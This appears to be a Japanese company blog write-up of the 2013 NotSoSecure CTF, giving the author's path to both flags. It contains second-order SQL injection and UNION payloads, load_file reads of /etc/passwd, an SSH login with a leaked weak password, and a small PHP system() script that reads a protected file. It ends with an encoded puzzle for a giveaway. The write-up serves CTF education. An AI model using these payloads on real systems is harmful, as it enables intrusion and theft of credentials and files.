2013/10/30

コラム

セキュリティ

NotSoSecure CTF参戦記

山崎圭吾

セキュリティ診断エキスパート、CISSP
山崎圭吾

NotSoSecore Cauture the Flag

「NotSoSecure CTF」は、イギリス時間の10月25日(金) 16時から27日(日) 21時まで、NotSoSecure Labsが開催したCTFで、競技はオンラインでおこなわれました。

公式の発表によると、約1500人が登録し、25を超える国からの挑戦があり、最終的に2問とも正解をした参加者が25人いたとのことです。http://ctf.notsosecure.com/leaderboard/ にてスコアボードが公開されています。

今回、私も挑戦をしましたので、各問の正解に至った道筋について解説をしたいと思います。

本ブログの文末に、皆さんにチャレンジしていただきたい問題を用意しました。 解読した内容にあるURLにアクセスされると、あるプレゼント企画の紹介が出てきますので、ぜひ挑戦お願いします。

登録から挑戦開始まで

CTFの開催案内ページに、名前とメールアドレスを登録しておくと、折り返し案内が届く仕組みとなっていました。届いたメールには、ルールとして、他の参加者に迷惑となるようなブルートフォース攻撃を禁止する等の案内や、全問正解後の連絡先、そして、競技サイトのURLが記載されていました。

さっそくURLにアクセスして、競技開始です。

Capture the Flag

何しろ、「SQLiLab CTF」という別名も付いていましたので、まずはSQLインジェクションだろうと目星をつけ、UsernameやPasswordの入力欄その他に、「'」などの文字列を送信して、脆弱性が存在する箇所の特定を試みました。ところが、どう見ても、SQLインジェクションの反応は出てきませんでした。
これは困った・・・ということで、SQLインジェクション以外の手法にも視野を広げて挑戦を続けました。

行き詰まりを感じ始めた時、運営からヒントが・・・

色々な手法を試し尽くして、行き詰まり、ダメ元でスタイルシートなどを覗き始めた頃、運営からヒントがツイートされていることに気づきました。

運営からツイートされたヒント

そ、そういうことか・・・! ログイン画面にパラメータを送った後、error.phpに転送されることには気づいていたのですが、そのメッセージ部分はすっかり見逃していました。CTF慣れしていないせいだ、と言ってしまえばそうですし、宝探しゲーム的なものではなく、もっと実践的なものだと勝手に思い込んでいたために見逃してしまっていたようです。

レスポンス画面

あらためてレスポンスを眺めてみると、何やら怪しい「7365637265745f72656769737465722e68746d6c」というメッセージが表示されていました。16進数の羅列と見てデコードしてみたところ、「secret_register.html」という文字列が得られました。さっそくアクセスをしてみたところ、秘密の(?)ユーザ登録画面が表示されました!

ユーザー登録画面

ログイン後の画面は見られたものの・・・

ユーザ登録画面でユーザを登録して、その会員でログインをしてみたところ、ようやくログイン後のページが表示されました。ただし・・・

You are not Admin!

「You are not Admin!」
このアカウントではダメなようです。

試しに、ユーザ名を「Admin」として登録を試みてみましたが、「User Already Exist」と怒られてしまいました。

とりあえず、これはやはりSQLインジェクションの出番ではないか?と思い、ユーザ登録画面に対して、Adminを意味する文字列を作る「Ad'||'min」「Ad'+'min」を始めとして、その他色々と、SQLインジェクションの攻撃文字列を雨あられと降らせました(大げさ)が、かんばしい成果が得られません。

その時、ふと、“このユーザ登録画面でSQLインジェクションの反応が無いということはユーザ登録は成功している。その成功したユーザでログインをしたらどうなるのだろう?”と思いつきました。実際、ユーザ登録からログインまでの流れを試してみると、ログイン成功後の画面の内容は変わりありませんでしたが、その際に発行されるCookieの値が変化していることに気づきました。

私が登録したユーザでログインすると、

Set-Cookie: session_id=a2VpZ29AZXhhbXBsZS5qcA%3D%3D
(base64でデコードすると、「keigo@example.jp」)

というCookieが発行されますが、SQL文として正しくない文字列をユーザ名に入れた場合、

Set-Cookie: session_id=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT

という反応となりました。
また、全件一致するような文字列(「' or 'a'='a」に類するもの)を送信した場合は、

Set-Cookie: session_id=YWRtaW5Ac3FsaWxhYnMuY29t
(base64でデコードすると、「admin@sqlilabs.com」)

というように、他人のメールアドレス(恐らく「Admin」の)が表示されました。

この応答から、この部分にいわゆる「セカンドオーダーSQLインジェクション」の問題が存在していることが分かりました。

そうと分かれば、あとは地道に・・・

あとは地道にデータを取得していきます。詳しい手法は省きますが、SQLインジェクションの常道にそって、まず、「order by」を使ってカラム数を特定して、次に「union select」を使って、テーブル内の情報を1つずつ抜き出して表示させました。

この手法で、システムテーブルからテーブルの一覧を抜き出したところ、「users」といういかにもなテーブルが存在していることが分かり、次に、「users」テーブルに、「id」「name」「password」「email」というカラムが存在していることが分かりました。

そして、最後に、「union select password,1 from users where name='admin'」 を実行し、

Set-Cookie: session_id=c3FsaWxhYlJvY0tzISE%3D
(base64でデコードすると、「sqlilabRocKs!!」)

ユーザ「admin」のパスワードが「sqlilabRocKs!!」であることが分かりました。
ログインしてみたところ・・・

You are Admin!

無事に1つ目の問題の正解が表示されました。

意気揚々と2問目に挑戦

さて、続いて2問目ですが、1問目の正解画面に「2nd flag is in file secret.txt」と道筋が示されていました。この秘密のテキストファイルを表示させることができればクリアということのようです。

正解画面

とりあえず、ふつうにWebブラウザから「secret.txt」にアクセスを試みてみたところ、ファイルが見つかりませんというエラーになりました。(そりゃあそうですよね・・・。)

次に、SQLインジェクションを通じてファイルを読み出す手法を試してみました。
今回のシステムでは、MySQLが使われていることが、バージョン番号の取得を通じて分かりましたので、load_file関数を試しました。
load_file('secret.txt')
load_file('./secret.txt')
load_file('../secret.txt')
load_file('../../secret.txt')
load_file('/secret.txt')
・・・

色々試してみましたが、すべて「Set-Cookie: session_id=deleted」(SQLエラー時と同様)というレスポンスでした。

“おかしいなぁ・・・。「secret.txt」の場所まで推測しろという問題なのかな?”と思いつつも、念のため、load_file関数自体が動いていることを確認するため、定番の「/etc/passwd」ファイルの表示を試してみることにしました。

「union select load_file('/etc/passwd'),1 --」を送信したところ・・・

Set-Cookie: session_id=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovYmluL3NoCmJpbjp4OjI6MjpiaW46L2JpbjovYmluL3NoCnN5czp4OjM6MzpzeXM6L2RldjovYmluL3NoCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L2Jpbi9zaAptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovYmluL3NoCmxwOng6Nzo3OmxwOi92YXIvc3Bvb2wvbHBkOi9iaW4vc2gKbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovYmluL3NoCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L2Jpbi9zaAp1dWNwOng6MTA6MTA6dXVjcDovdmFyL3Nwb29sL3V1Y3A6L2Jpbi9zaApwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L2Jpbi9zaAp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi9iaW4vc2gKYmFja3VwOng6MzQ6MzQ6YmFja3VwOi92YXIvYmFja3VwczovYmluL3NoCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L2Jpbi9zaAppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L2Jpbi9zaApnbmF0czp4OjQxOjQxOkduYXRzIEJ1Zy1SZXBvcnRpbmcgU3lzdGVtIChhZG1pbik6L3Zhci9saWIvZ25hdHM6L2Jpbi9zaApub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi9iaW4vc2gKbGlidXVpZDp4OjEwMDoxMDE6Oi92YXIvbGliL2xpYnV1aWQ6L2Jpbi9zaApzeXNsb2c6eDoxMDE6MTAzOjovaG9tZS9zeXNsb2c6L2Jpbi9mYWxzZQpteXNxbDp4OjEwMjoxMDU6TXlTUUwgU2VydmVyLCwsOi9ub25leGlzdGVudDovYmluL2ZhbHNlCm1lc3NhZ2VidXM6eDoxMDM6MTA2OjovdmFyL3J1bi9kYnVzOi9iaW4vZmFsc2UKd2hvb3BzaWU6eDoxMDQ6MTA3Ojovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpsYW5kc2NhcGU6eDoxMDU6MTEwOjovdmFyL2xpYi9sYW5kc2NhcGU6L2Jpbi9mYWxzZQpzc2hkOng6MTA2OjY1NTM0OjovdmFyL3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCnBvc3RncmVzOng6MTA3OjExMjpQb3N0Z3JlU1FMIGFkbWluaXN0cmF0b3IsLCw6L3Zhci9saWIvcG9zdGdyZXNxbDovYmluL2Jhc2gKY3RmOng6MTAwMDoxMDAwOiwsLDovaG9tZS9jdGY6L2Jpbi9iYXNoCnRlbXAxMjM6eDoxMDAxOjEwMDE6d2Vha3Bhc3N3b3JkMTovaG9tZS90ZW1wMTIzOi9iaW4vc2gKbnRvcDp4OjEwODoxMTY6Oi92YXIvbGliL250b3A6L2Jpbi9mYWxzZQo%3D

デコードすると、
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
whoopsie:x:104:107::/nonexistent:/bin/false
landscape:x:105:110::/var/lib/landscape:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:107:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ctf:x:1000:1000:,,,:/home/ctf:/bin/bash
temp123:x:1001:1001:weakpassword1:/home/temp123:/bin/sh
ntop:x:108:116::/var/lib/ntop:/bin/false

はい、「/etc/passwd」ファイルが表示できたということは、やはりload_file関数はちゃんと動いています。これは困った。「secret.txt」は、一体どこにあるのだろう・・・。

・・・と思った時、ふと「/etc/passwd」の中に気になる記述を見つけてしまいました。

temp123:x:1001:1001:weakpassword1:/home/temp123:/bin/sh

弱いパスワードが付いていることを示唆しているアカウントがある??
ということは、攻撃対象はWebアプリだけではなくて、ログインができるのか?

ダメ元で、sshのポートが開いているか確認してみました。

$ telnet ctf.notsosecure.com 22
Trying 88.208.239.33...
Connected to ctf.notsosecure.com.
Escape character is '^]'.
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.1
^]
telnet> q
Connection closed.
$

・・・開いてたー!

2問目がいよいよ佳境に。システムにsshでログイン

さっそく、ユーザ「temp123」でログインをしてみます。

コンソール画面

・・・入れたー!(シツコイ)

次に、「secret.txt」を探してみたところ、ルートディレクトリに存在していました。

$ ls -al /
total 89
drwxr-xr-x 23 root root 4096 Oct 25 07:46 .
drwxr-xr-x 23 root root 4096 Oct 25 07:46 ..
drwxr-xr-x 2 root root 4096 Oct 4 19:42 bin
drwxr-xr-x 4 root root 1024 Oct 4 19:43 boot
drwxr-xr-x 15 root root 4220 Oct 23 07:48 dev
drwxr-xr-x 95 root root 4096 Oct 25 08:26 etc
drwxr-xr-x 4 root root 4096 Oct 10 12:01 home
lrwxrwxrwx 1 root root 33 Oct 4 19:40 initrd.img -> /boot/initrd.img-3.8.0-29-generic
drwxr-xr-x 17 root root 4096 Oct 4 19:42 lib
drwxr-xr-x 2 root root 4096 Oct 4 19:40 lib64
drwx------ 2 root root 16384 Oct 4 19:39 lost+found
drwxr-xr-x 4 root root 4096 Oct 4 19:40 media
drwxr-xr-x 2 root root 4096 Aug 18 05:47 mnt
drwxr-xr-x 2 root root 4096 Oct 4 19:39 opt
dr-xr-xr-x 221 root root 0 Oct 23 07:48 proc
drwx------ 2 root root 4096 Oct 25 08:38 root
drwxr-xr-x 18 root root 640 Oct 25 17:06 run
drwxr-xr-x 2 root root 4096 Oct 4 19:47 sbin
-r-------- 1 www-data www-data 684 Oct 25 07:46 secret.txt
drwxr-xr-x 2 root root 4096 Mar 5 2012 selinux
drwxr-xr-x 2 root root 4096 Oct 4 19:39 srv
dr-xr-xr-x 13 root root 0 Oct 23 07:48 sys
drwxrwxrwt 2 root root 4096 Oct 25 17:06 tmp
drwxr-xr-x 10 root root 4096 Oct 4 19:39 usr
drwxr-xr-x 13 root root 4096 Oct 23 07:46 var
lrwxrwxrwx 1 root root 29 Oct 4 19:40 vmlinuz -> boot/vmlinuz-3.8.0-29-generic
$

「secret.txt」は見つかったものの、ユーザ「www-data」のみが読み取ることができる権限に設定されていました。今、ログインしているユーザ「temp123」や、データベースの権限であるユーザ「mysql」ではこのファイルを読むことができません。

ここでまず試したのは、「sudo」コマンドです。もしも、ユーザ「temp123」がWebサイトを更新するようなユーザである場合、sudoでのコマンド実行が許可されているかもしれません。
試してみた結果は、「temp123 is not in the sudoers file. This incident will be reported.」と怒られてしまい、「sudo」コマンドで華麗に読み出す夢はついえました。

次に考えたのは、Webサーバを経由して、ユーザ「www-data」権限で読み出す方法です。
先日、日本でも事件につながり話題となっていた、シンボリックリンク攻撃をまず疑いました。ルートディレクトリあるいは「/secret.txt」そのものに対して、どこかからリンクが張られていて、リンク経由で読み出せるのではないか?ということです。

Apacheのバーチャルホストの設定を眺めていたところ、

Alias /doc/ "/usr/share/doc/"
<Directory "/usr/share/doc/">
Options Indexes MultiViews FollowSymLinks
 AllowOverride None
 Order deny,allow
 Deny from all
 Allow from 127.0.0.0/255.0.0.0 ::1/128
</Directory>

という、ローカルホストからでないとアクセスができない、FollowSymLinksが有効となっているディレクトリが存在していました。これは怪しい!ということで、しばらくコンテンツをあさってみたのですが、残念ながらこれはトラップだったようです。

次に目をつけたのは、ApacheのUserDir機能が有効となっていたことです。これは、各ユーザのホームディレクトリ以下に「public_html」ディレクトリを作ることで、Webコンテンツを公開するための機能です。
ログインしたユーザ「temp123」のホームディレクトリには、「public_html」ディレクトリは存在していませんでしたが、試しに新たに作ってみて、Webブラウザから「/~temp123/」にアクセスしてみたところ、ページを表示させることができました!!

ここまで来たら、あとは、ファイルを表示するスクリプトを書くだけです。

試しに、

<?php
echo system('/bin/cat /secret.txt');
?>

というPHPファイルを作成して、Webブラウザからアクセスしたところ、

正解のテキストファイル

2つ目のフラグが表示されました。ビンゴ!!!

これで2問とも答えがわかりました。チャレンジ終了です。 あとは運営にフラグをメールで送信することでオールクリアと認定されました。

最後に

このようなCTFがあることを知ってしまったせいで、おかげで、有意義な週末を過ごすことができ、結果として、全問正解の25人の中にも入ることができて光栄でした。

私(山崎)は、日本のCTFイベント、SECCON 2013で、Web系の問題を中心に、問題作成委員を務めていたりするのですが、やはり、私は問題を解くより、問題を出すほうが向いているとつくづくと思い知りました。とは言え、次の問題作成のアイディアも得ることができましたし、良い刺激を受け、楽しく過ごすことができました。NotSoSecure CTFの運営の方々、ありがとうございました。(Thank you so much, NotSoSecure Labs.)

SECCON 2013ですが、北陸大会、北海道大会、関西大会、東海大会、オンライン予選大会と、今後開催する大会に、まだ参加枠に空きがあるところもありますので(既に定員一杯の大会も追加募集枠を検討中です)、このwrite-upを見て、少しでもCTFに興味を持ってくださった方はぜひ参加をご検討ください。

SECCON 2013 大会スケジュール - SECCON 2013

以上

 

みなさま、お読みいただきありがとうございました。
CTFにご興味をお持ちになった皆様、山崎から簡単なチャレンジ問題があります。
こちらの内容を解読すると、あるURLが出てきます。
このURLにアクセスすることで、プレゼント企画のURLを得ることができます。
ぜひご参加ください(マーケティング担当)

なお、プレゼントの内容ですが、ささやかなものなのであまりご期待なさらぬよう。

===追記===
2013年11月11日現在、URLへはアクセスできますが、
本プレゼント企画のキャンペーンは終了となりましたのでご了承ください。
たくさんのチャレンジ、誠にありがとうございました。

問題:
エンコードされた文字列からURLを復元してアクセスしてください。

6457646e597a6f764c32707161693535626e41756347497564324d766347353659323532 6447457659574a6e5a6d4a6d636e426f5a5849756457643665513d3d

(ヒント)
13→64→16

 

免責:
本ブログの掲載内容は、執筆者個人の見解に基づいたものであり、必ずしも株式会社ラックの立場、戦略、意見を代表するものではありません。また、本ブログの情報を利用したことにより、直接的あるいは間接的に損害や債務が発生した場合でも、株式会社ラックは一切の責任を負わないものとします。内容は掲載同時のものであり、現在のものとは異なる場合がございます。

  • メールマガジン
  • セキュリティ情報